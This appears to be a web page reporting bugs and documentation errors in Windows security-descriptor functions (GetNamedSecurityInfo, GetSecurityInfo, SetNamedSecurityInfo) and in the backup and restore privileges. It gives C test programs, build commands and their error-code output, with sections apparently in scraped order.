Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH²: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetNamedSecurityInfo()
fails with Win32 error code 87 alias
ERROR_INVALID_PARAMETER
if its ppSecurityDescriptor
parameter is
NULL
!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH³: contrary to the first highlighted statement of its documentation cited above, the Win32 function
GetSecurityInfo()
also fails with Win32 error code 87 alias
ERROR_INVALID_PARAMETER
if its ppSecurityDescriptor
parameter is
NULL
!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macros
blunder
and BLUNDER
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 6. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Compile and link the source file blunder.c
created in
step 1. a last time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 8. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Finally replace the
DACL of
the console application blunder.exe
built in
step 8. with
D:PAI
(A;;0x1D01BF;;;OW)
,
i.e. grant the image file's owner all access rights except
READ_CONTROL
, then execute it and
evaluate its exit code:
ICACLS.EXE blunder.exe /GRANT *S-1-3-4:(AD,DE,RA,RD,REA,S,WA,WD,WDAC,WEA,WO,X) /INHERITANCE:R /Q .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Successfully processed 1 files; Failed processing 0 files 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH⁴: contrary to the last highlighted statement of its documentation cited above, the Win32 function
GetNamedSecurityInfo()
fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
although the calling process is the object's owner here!
Privileges determine the type of system operations that a user account can perform. An administrator assigns privileges to user and group accounts. Each user's privileges include those granted to the user and to the groups to which the user belongs.The documentation cited above but fails to tell that the[…]
Constant/value Description … … SE_BACKUP_NAME
TEXT("SeBackupPrivilege")Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. […] The following access rights are granted if this privilege is held: […]
- READ_CONTROL
- ACCESS_SYSTEM_SECURITY
- FILE_GENERIC_READ
- FILE_TRAVERSE
… … SE_RESTORE_NAME
TEXT("SeRestorePrivilege")Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. […] The following access rights are granted if this privilege is held: […]
- WRITE_DAC
- WRITE_OWNER
- ACCESS_SYSTEM_SECURITY
- FILE_GENERIC_WRITE
- FILE_ADD_FILE
- FILE_ADD_SUBDIRECTORY
- DELETE
SE_SECURITY_NAME
TEXT("SeSecurityPrivilege")Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator. […] … …
SeSecurityPrivilege
alias
SE_SECURITY_NAME
privilege
is required to exercise the
ACCESS_SYSTEM_SECURITY
access right,
as documented in the
MSDN article
SACL Access Right
– which in turn fails to tell that the
SeBackupPrivilege
alias
SE_BACKUP_NAME
and
SeRestorePrivilege
alias
SE_RESTORE_NAME
privileges
allow it too:
The ACCESS_SYSTEM_SECURITY access right controls the ability to get or set the SACL in an object's security descriptor. The system grants this access right only if the SE_SECURITY_NAME privilege is enabled in the access token of the requesting thread.The documentation for the Win32 function
CreateFile()
specifies:
Creates or opens a file or I/O device. […]SECURITY_ATTRIBUTES structure The documentation for the Win32 function[…]HANDLE CreateFile( [in] LPCTSTR lpFileName, [in] DWORD dwDesiredAccess, [in] DWORD dwShareMode, [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, [in] DWORD dwCreationDisposition, [in] DWORD dwFlagsAndAttributes, [in, optional] HANDLE hTemplateFile );
[in] dwFlagsAndAttributes
The file or device attributes and flags, […]
Flag Meaning FILE_FLAG_BACKUP_SEMANTICS
0x02000000The file is being opened or created for a backup or restore operation. The system ensures that the calling process overrides file security checks when the process has SE_BACKUP_NAME and SE_RESTORE_NAME privileges. […] […]
To open a directory using CreateFile, specify the FILE_FLAG_BACKUP_SEMANTICS flag as part of dwFlagsAndAttributes. Appropriate security checks still apply when this flag is used without SE_BACKUP_NAME and SE_RESTORE_NAME privileges.
SetSecurityInfo()
states:
The SetSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by a handle.The documentation for the Win32 functionTo set the SACL of an object, the caller must have the SE_SECURITY_NAME privilege enabled.
SetNamedSecurityInfo()
states:
The SetNamedSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by name.SE_OBJECT_TYPE enumeration SECURITY_INFORMATION SID structure ACL structure Note: indicated by the first highlighted statement of this documentation, the Win32 function[…]DWORD SetNamedSecurityInfo( [in] LPTSTR pObjectName, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [in, optional] PSID psidOwner, [in, optional] PSID psidGroup, [in, optional] PACL pDacl, [in, optional] PACL pSacl );
[in, optional] psidOwner
A pointer to a SID structure that identifies the owner of the object. If the caller does not have the SeRestorePrivilege constant (see Privilege Constants), this SID must be contained in the caller's token, and must have the SE_GROUP_OWNER permission enabled. The SecurityInfo parameter must include the OWNER_SECURITY_INFORMATION flag. To set the owner, the caller must have WRITE_OWNER access to the object or have the SE_TAKE_OWNERSHIP_NAME privilege enabled. If you are not setting the owner SID, this parameter can be NULL.
[in, optional] psidGroup
A pointer to a SID that identifies the primary group of the object. The SecurityInfo parameter must include the GROUP_SECURITY_INFORMATION flag. If you are not setting the primary group SID, this parameter can be NULL.
[in, optional] pDacl
A pointer to the new DACL for the object. The SecurityInfo parameter must include the DACL_SECURITY_INFORMATION flag. The caller must have WRITE_DAC access to the object or be the owner of the object. If you are not setting the DACL, this parameter can be NULL.
[in, optional] pSacl
A pointer to the new SACL for the object. The SecurityInfo parameter must include any of the following flags: SACL_SECURITY_INFORMATION, LABEL_SECURITY_INFORMATION, ATTRIBUTE_SECURITY_INFORMATION, SCOPE_SECURITY_INFORMATION, or BACKUP_SECURITY_INFORMATION.
If setting SACL_SECURITY_INFORMATION or SCOPE_SECURITY_INFORMATION, the caller must have the SE_SECURITY_NAME privilege enabled. If you are not setting the SACL, this parameter can be NULL.
SetNamedSecurityInfo()
should honor at least the
SeRestorePrivilege
alias
SE_RESTORE_NAME
privilege!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
#define NO_ACCESS 0UL
#define FILE_SHARE_NONE 0UL
#define SE_BACKUP_PRIVILEGE 17UL // "SeBackupPrivilege"
const TOKEN_PRIVILEGES tpBackup = {ANYSIZE_ARRAY, {SE_BACKUP_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const SID group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID};
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
// (A;NP;;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
NO_ACCESS,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED,
(SID *) NULL,
&group,
(ACL *) NULL,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
LPWSTR lpSDDL;
DWORD dwSDDL;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
HANDLE hBlunder = CreateFile(L"blunder.tmp",
NO_ACCESS,
FILE_SHARE_NONE,
&sa,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!CloseHandle(hBlunder))
dwError = GetLastError();
if (!OpenProcessToken(hProcess,
TOKEN_ADJUST_PRIVILEGES,
&hToken))
dwError = GetLastError();
else
{
AdjustTokenPrivileges(hToken,
FALSE,
&tpBackup,
0UL,
(TOKEN_PRIVILEGES *) NULL,
(DWORD *) NULL);
dwError = GetLastError();
#ifndef blunder
if (dwError == ERROR_SUCCESS)
{
dwError = GetNamedSecurityInfo(L"blunder.tmp",
SE_FILE_OBJECT,
#ifdef BLUNDER
SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
&lpSD);
if (dwError == ERROR_SUCCESS)
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
&dwSDDL))
dwError = GetLastError();
else
{
lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwSDDL)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (LocalFree(lpSDDL) != NULL)
dwError = GetLastError();
}
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
}
}
#else // blunder
if (dwError == ERROR_SUCCESS)
{
hBlunder = CreateFile(L"blunder.tmp",
MAXIMUM_ALLOWED,
FILE_SHARE_NONE,
(SECURITY_ATTRIBUTES *) NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwError = GetSecurityInfo(hBlunder,
SE_FILE_OBJECT,
#ifdef BLUNDER
SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
&lpSD);
if (dwError == ERROR_SUCCESS)
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
&dwSDDL))
dwError = GetLastError();
else
{
lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwSDDL)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (LocalFree(lpSDDL) != NULL)
dwError = GetLastError();
}
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
}
}
if (!CloseHandle(hBlunder))
dwError = GetLastError();
}
#endif // blunder
if (!CloseHandle(hToken))
dwError = GetLastError();
}
if (!DeleteFile(L"blunder.tmp"))
dwError = GetLastError();
}
ExitProcess(dwError);
}
ACL structure
ACE_HEADER structure
ACE
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Create the text file blunder.exe.manifest
with the
following content next to the console application
blunder.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
<trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
<security>
<requestedPrivileges>
<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
Execute the console application blunder.exe
built in
step 2. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetNamedSecurityInfo()
fails to read the
security descriptor
with Win32 error code 5 alias
ERROR_ACCESS_DENIED
– contrary to the highlighted statements of the first
documentation cited above, the
SeBackupPrivilege
alias
SE_BACKUP_NAME
privilege
does not grant the explicitly
named READ_CONTROL
access right!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 5. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: the Win32 function
GetNamedSecurityInfo()
fails to read the
security descriptor
with Win32 error code 1314 alias
ERROR_PRIVILEGE_NOT_HELD
– contrary to the highlighted statements of the first
documentation cited above, the
SeBackupPrivilege
alias
SE_BACKUP_NAME
privilege
also does not grant the explicitly
named ACCESS_SYSTEM_SECURITY
access
right required to read (and write) the
SACL!
Compile and link the source file blunder.c
created in
step 1. a third time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 7. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:BAG:AUD:P(A;NP;;;;OW) 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: the Win32 function
GetSecurityInfo()
succeeds and works properly – most obviously the
GetNamedSecurityInfo()
function opens files without the
FILE_FLAG_BACKUP_SEMANTICS
flag!
Compile and link the source file blunder.c
created in
step 1. a last time, now with the preprocessor macros
BLUNDER
and blunder
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(41) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(43) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(45) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(61) : warning C4090: 'function' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 9. with elevated access rights and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:BAG:AUD:(A;NP;;;;OW)
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
OUCH⁴: the Win32 function
GetSecurityInfo()
succeeds again, but fails to work properly – if the
SACL is
requested with the
SACL_SECURITY_INFORMATION
flag of its SecurityInfo
parameter it drops the
SE_DACL_PROTECTED
flag of the
security descriptor
despite the also given
PROTECTED_DACL_SECURITY_INFORMATION
and
PROTECTED_SACL_SECURITY_INFORMATION
flags!
CAVEAT: most obviously the Win32
functions
GetNamedSecurityInfo()
and
GetSecurityInfo()
have bugs!
Overwrite the text file blunder.c
created in
step 1. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <aclapi.h>
#define NO_ACCESS 0UL
#define FILE_SHARE_NONE 0UL
#define SE_RESTORE_PRIVILEGE 18UL // "SeRestorePrivilege"
const TOKEN_PRIVILEGES tpRestore = {ANYSIZE_ARRAY, {SE_RESTORE_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
const SID owner = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
// (A;NP;;;;OW)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
NO_ACCESS,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}},
sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;NP;NRNWNX;;;HI)
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_HIGH_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED,
(SID *) NULL,
(SID *) NULL,
(ACL *) NULL,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError;
HANDLE hProcess = GetCurrentProcess();
HANDLE hToken;
HANDLE hBlunder = CreateFile(L"blunder.tmp",
NO_ACCESS,
FILE_SHARE_NONE,
&sa,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!CloseHandle(hBlunder))
dwError = GetLastError();
if (!OpenProcessToken(hProcess,
TOKEN_ADJUST_PRIVILEGES,
&hToken))
dwError = GetLastError();
else
{
AdjustTokenPrivileges(hToken,
FALSE,
&tpRestore,
0UL,
(TOKEN_PRIVILEGES *) NULL,
(DWORD *) NULL);
dwError = GetLastError();
#ifndef blunder
if (dwError == ERROR_SUCCESS)
dwError = SetNamedSecurityInfo(L"blunder.tmp",
SE_FILE_OBJECT,
#ifdef BLUNDER
SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
&owner,
(SID *) NULL,
(ACL *) NULL,
#ifndef BLUNDER
(ACL *) NULL);
#else
&sacl);
#endif
#else // blunder
if (dwError == ERROR_SUCCESS)
{
hBlunder = CreateFile(L"blunder.tmp",
MAXIMUM_ALLOWED,
FILE_SHARE_NONE,
(SECURITY_ATTRIBUTES *) NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwError = SetSecurityInfo(hBlunder,
SE_FILE_OBJECT,
#ifdef BLUNDER
SACL_SECURITY_INFORMATION | PROTECTED_SACL_SECURITY_INFORMATION | UNPROTECTED_SACL_SECURITY_INFORMATION |
#endif
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
&owner,
(SID *) NULL,
(ACL *) NULL,
#ifndef BLUNDER
(ACL *) NULL);
#else
&sacl);
#endif
if (!CloseHandle(hBlunder))
dwError = GetLastError();
}
}
#endif // blunder
if (!CloseHandle(hToken))
dwError = GetLastError();
}
if (!DeleteFile(L"blunder.tmp"))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 11. a first time:
CL.EXE blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 12. with elevated access rights and evaluate its exit
code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH⁵: the Win32 function
SetNamedSecurityInfo()
fails to write the
security descriptor
with Win32 error code 5 alias
ERROR_ACCESS_DENIED
– contrary to the highlighted statements of the first
documentation cited above, the
SeRestorePrivilege
alias
SE_RESTORE_NAME
privilege
does not grant the explicitly
named WRITE_DAC
and
WRITE_OWNER
access rights!
Compile and link the source file blunder.c
overwritten
in step 11. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(47) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers blunder.c(80) : warning C4090: 'function' : different 'const' qualifiers blunder.c(95) : warning C4090: 'function' : different 'const' qualifiers blunder.c(101) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 14. with elevated access rights and evaluate its exit
code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH⁶: the Win32 function
SetNamedSecurityInfo()
fails to write the
security descriptor
with Win32 error code 1314 alias
ERROR_PRIVILEGE_NOT_HELD
– contrary to the highlighted statements of the first
documentation cited above, the
SeRestorePrivilege
alias
SE_RESTORE_NAME
privilege
also fails to grant the explicitly named
ACCESS_SYSTEM_SECURITY
access right
required to (read and) write the
SACL of a
security descriptor!
Compile and link the source file blunder.c
overwritten
in step 11. a third time, now with the preprocessor macro
blunder
defined:
